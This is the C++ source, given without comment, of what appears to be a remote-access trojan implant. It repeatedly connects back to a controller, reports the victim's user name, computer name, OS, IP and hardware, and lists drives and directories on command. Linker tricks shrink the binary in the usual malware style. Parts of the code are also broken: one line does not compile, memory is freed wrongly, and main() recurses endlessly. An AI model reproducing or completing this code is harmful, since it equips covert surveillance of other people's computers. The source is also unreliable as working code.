Code:
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/OPT:NOWIN98 /STUB:stub.exe /INCREMENTAL:NO")
#pragma comment(linker,"/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text")
//
#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "wininet.lib")
#include <winsock2.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <wininet.h>
char *Version = "Server v0.01";
//SENT
char * CMD_SEND_CONNECT_INFO="0#";
char * CMD_DRIVE_LIST="22#";
char * CMD_INFO="20#";
char * CMD_DIRECTORY_INFO="21#";
//RECEIVED
char * CMD_SEND_COMPUTER_INFO="1";
char * CMD_SEND_DIRS="3";
char * CMD_SEND_DRIVES="4";
WSAEVENT SocketEvent;
SOCKET connect_socket;
sockaddr_in client;
BOOL Authorized = false;
int main();
int DroneConn();
char* IP()
{
WORD wVersionRequested;
WSADATA wsaData;
char name[255];
char *localIP= new char [255];
PHOSTENT hostinfo;
wVersionRequested = MAKEWORD(2,0);
if ( WSAStartup(wVersionRequested, &wsaData) == 0 )
{
if( gethostname (name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
sprintf(localIP, "%s", inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list));
}
}
WSACleanup();
return localIP;
} else {
return "NA";
}
}
char* WindowsVer()
{
OSVERSIONINFO osinfo;
ZeroMemory(&osinfo, sizeof(OSVERSIONINFO));
osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionExA(&osinfo);
switch (osinfo.dwPlatformId)
{
case 1:
if(osinfo.dwMinorVersion < 10){
return "Windows 95";
break;
} else if(osinfo.dwMinorVersion == 10){
return "Windows 98";
break;
} else {
return "Windows ME";
break;
}
case 2:
if(osinfo.dwMajorVersion == 3 || osinfo.dwMajorVersion == 4){
return "Windows NT";
break;
} else if(osinfo.dwMajorVersion == 5){
if (osinfo.dwMinorVersion == 0) {
return "Windows 2000";
break;
} else {
return "Windows XP";
break;
}
}
case 3:
return "Windows CE";
break;
default:
return "NA";
break;
}
}
char* GetUserName()
{
char *User;
User = new char[MAX_PATH];
unsigned long len = MAX_PATH;
GetUserName(User,&len);
return User;
}
char* GetComputerName()
{
char *User;
User = new char[MAX_PATH];
unsigned long len = MAX_PATH;
GetComputerName(User, &len);
return User;
}
char* Processor()
{
HKEY Handle;
DWORD Mhz;
DWORD Type = REG_DWORD;
DWORD Size = sizeof(DWORD);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, KEY_ALL_ACCESS, &Handle) == ERROR_SUCCESS)
{
if (RegQueryValueEx(Handle, "~MHz", NULL, &Type, (LPBYTE)&Mhz, &Size) == ERROR_SUCCESS)
{
char* rtn;
rtn = new char[20];
sprintf(rtn, "%d Mhz", Mhz);
return rtn;
} else {
return "-";
}
RegCloseKey(Handle);
} else {
return "-";
}
}
char* Connection()
{
DWORD State;
DWORD Ret;
Ret = InternetGetConnectedState(&State, 0);
if (Ret)
{
if(State & INTERNET_CONNECTION_LAN)
{
return "LAN";
}
else if(State & INTERNET_CONNECTION_MODEM)
{
return "Modem";
}
else if(State & INTERNET_CONNECTION_PROXY)
{
return "Proxy";
} else {return "NA";}
} else {return "NA";}
}
char* GetLanguage()
{
LCID locale;
char* code;
code = new char[100];
locale = GetSystemDefaultLangID();
VerLanguageName(locale, (LPTSTR)code, 100);
if (code != NULL) {
return code;
} else {return "NA";}
}
char* WindowsPath()
{
char* Path;
Path = new char[MAX_PATH];
GetWindowsDirectory(Path, MAX_PATH);
return Path;
}
char* SystemPath()
{
char* Path;
Path = new char[MAX_PATH];
GetSystemDirectory(Path, MAX_PATH);
return Path;
}
char* GetComputerInfo()
{
char* PcInfo=new char[1024];
strcpy(PcInfo,CMD_INFO);
strcat(PcInfo,"Operating System: ");
char * temp = WindowsVer();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nProcessor Speed : ");
temp =Processor();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nLocal IP : ");
temp =IP();
strcat(PcInfo,IP()); delete[] temp;
strcat(PcInfo,"\r\nLocal Language : ");
temp =GetLanguage();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nWindows Directory : ");
temp = WindowsPath();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nSystem Directory : ");
temp = SystemPath();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nUser Name : ");
temp = GetUserName();
strcat(PcInfo,temp); delete[] temp;
strcat(PcInfo,"\r\nComputer Name : ");
temp =GetComputerName();
strcat(PcInfo,temp); delete[] temp;
return PcInfo;
}
char* IntToStr(int num)
{
char * lpBufferOut= new char[11];
sprintf(lpBufferOut, "%d", num);
return lpBufferOut;
}
char* DirList(char *path)
{
char *FileList = new char[10000];
char *temppath = new char[strlen(path) + 4];
char *tmpstr;
WIN32_FIND_DATA DataStruct;
HANDLE FindHandle;
strcpy(FileList,path);
strcat(FileList,"\r");
strcpy(temppath,path);
strcat(temppath,"*.*");
FindHandle = FindFirstFile(temppath, &DataStruct);
if (FindHandle == INVALID_HANDLE_VALUE)
{
return "!Invalid Directory";
}
do
{
tmpstr = DataStruct.cFileName;
if ((strcmp(DataStruct.cFileName,".") != 0 ) && (strcmp(DataStruct.cFileName,"..") != 0 ))
{
if ((DataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
strcat(FileList,"\\");
}
strcat(FileList,DataStruct.cFileName);
strcat(FileList,";");
char *strsize= IntToStr(DataStruct.nFileSizeLow);
strcat(FileList,strsize);
delete [] strsize;
strcat(FileList,"\r");
}
}while((FindNextFile(FindHandle,&DataStruct)) != false);
FindClose(FindHandle);
char * result = new char[strlen(FileList) + 13];
strcpy(result,CMD_DIRECTORY_INFO);
strcat(result,IntToStr(strlen(FileList)));
strcat(result,"#");
strcat(result,FileList);
delete[]tmpstr;
delete[]temppath;
delete[]FileList;
return result;
}
char* EnumDrives()
{
char *Result=new char[1024];
strcpy(Result,CMD_DRIVE_LIST);
char szDrive[]="A:\\";
while(szDrive[0]<='Z')
{
switch (GetDriveType(szDrive))
{
case DRIVE_FIXED:
strcat(Result,szDrive);
strcat(Result," [Fixed] \r\n");
break;
case DRIVE_REMOVABLE:
strcat(Result,szDrive);
strcat(Result," [Removable] \r\n");
break;
case DRIVE_CDROM:
strcat(Result,szDrive);
strcat(Result," [CD-ROM] \r\n");
break;
case DRIVE_RAMDISK:
strcat(Result,szDrive);
strcat(Result," [RAM] \r\n");
break;
case DRIVE_REMOTE:
strcat(Result,szDrive);
strcat(Result," [Remote Drive] \r\n");
}
szDrive[0]++;
}
return Result;
}
char *EnumCmd(char *Rcvd)
{
char *ParamStr[8];
int i = 0;
char * ret;
/////////////////////////////////////TOKENIZE/////////////////////////////////////////
ParamStr[0] = strtok (Rcvd,"#");
ParamStr[1] = new char[strlen(Rcvd)+1-strlen(ParamStr[0])] = strtok (NULL, "#");
////////////////////////////////////END_TOKENIZE//////////////////////////////////////
if (strcmp(ParamStr[0],CMD_SEND_DRIVES) ==0 )
{
ret = EnumDrives() ;
}
else if (strcmp(ParamStr[0],CMD_SEND_COMPUTER_INFO) ==0 )
{
ret = GetComputerInfo() ;
}
else if (strcmp(ParamStr[0],CMD_SEND_DIRS) ==0 )
{
ret = DirList(ParamStr[1]) ;
}
else
ret = "!No........";
delete[] ParamStr[0];
delete[] ParamStr[1];
return ret;
}
void EnumEvents()
{
WSANETWORKEVENTS EventStruct;
WaitForSingleObject(SocketEvent,INFINITE);
WSAEnumNetworkEvents(connect_socket,SocketEvent,&EventStruct);
if((EventStruct.lNetworkEvents & FD_CONNECT) && (EventStruct.iErrorCode[FD_CONNECT_BIT] == 0))
{
char * connectionstring = new char[2048];
strcpy(connectionstring,CMD_SEND_CONNECT_INFO);
char * temp = WindowsVer();
strcat(connectionstring,temp);
delete[] temp;
strcat(connectionstring,"#");
temp = GetUserName();
strcat(connectionstring,temp);
delete[] temp;
strcat(connectionstring,"#");
temp =GetComputerName();
strcat(connectionstring,temp);
delete[] temp;
strcat(connectionstring,"#");
temp =Processor();
strcat(connectionstring,temp);
delete []temp;
strcat(connectionstring,"#");
temp =Connection();
strcat(connectionstring,temp);
delete[] temp;
strcat(connectionstring,"#");
strcat(connectionstring,"YES");
send(connect_socket,connectionstring,strlen(connectionstring),0);
delete [] connectionstring;
}
if((EventStruct.lNetworkEvents & FD_CLOSE) && (EventStruct.iErrorCode[FD_CLOSE_BIT] == 0))
{
MessageBox(0,"Server has disconnected","",0);
WSACleanup();
main();
}
if((EventStruct.lNetworkEvents & FD_READ) && (EventStruct.iErrorCode[FD_READ_BIT] == 0))
{
char RBuf[4096] = "";
recv(connect_socket,RBuf,4096,0);
char *tempresult=EnumCmd(RBuf);
send(connect_socket,tempresult,strlen(tempresult),0);
free(RBuf);
delete[] tempresult;
}
if((EventStruct.lNetworkEvents & FD_WRITE) && (EventStruct.iErrorCode[FD_WRITE_BIT] == 0))
{
//MessageBox(0,"Server has written on connection","",0);
}
WSAResetEvent(SocketEvent);
EnumEvents();
}
int main()
{
WSACleanup();
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2),&wsaData);
if (iResult != NO_ERROR)
{
MessageBox(0,"Startup Error","",0);
WSACleanup();
ExitProcess(0);
}
connect_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
client.sin_family = AF_INET;
client.sin_addr.s_addr = inet_addr("127.0.0.1");
client.sin_port = htons(200);
SocketEvent = WSACreateEvent();
DroneConn();
WSAEventSelect(connect_socket,SocketEvent,FD_CONNECT|FD_READ|FD_WRITE|FD_CLOSE);
EnumEvents();
main();
return 0;
}
int DroneConn()
{
while (connect(connect_socket, (SOCKADDR*) &client, sizeof(client)) == SOCKET_ERROR)
{
Sleep(5000);
}
return 0;
}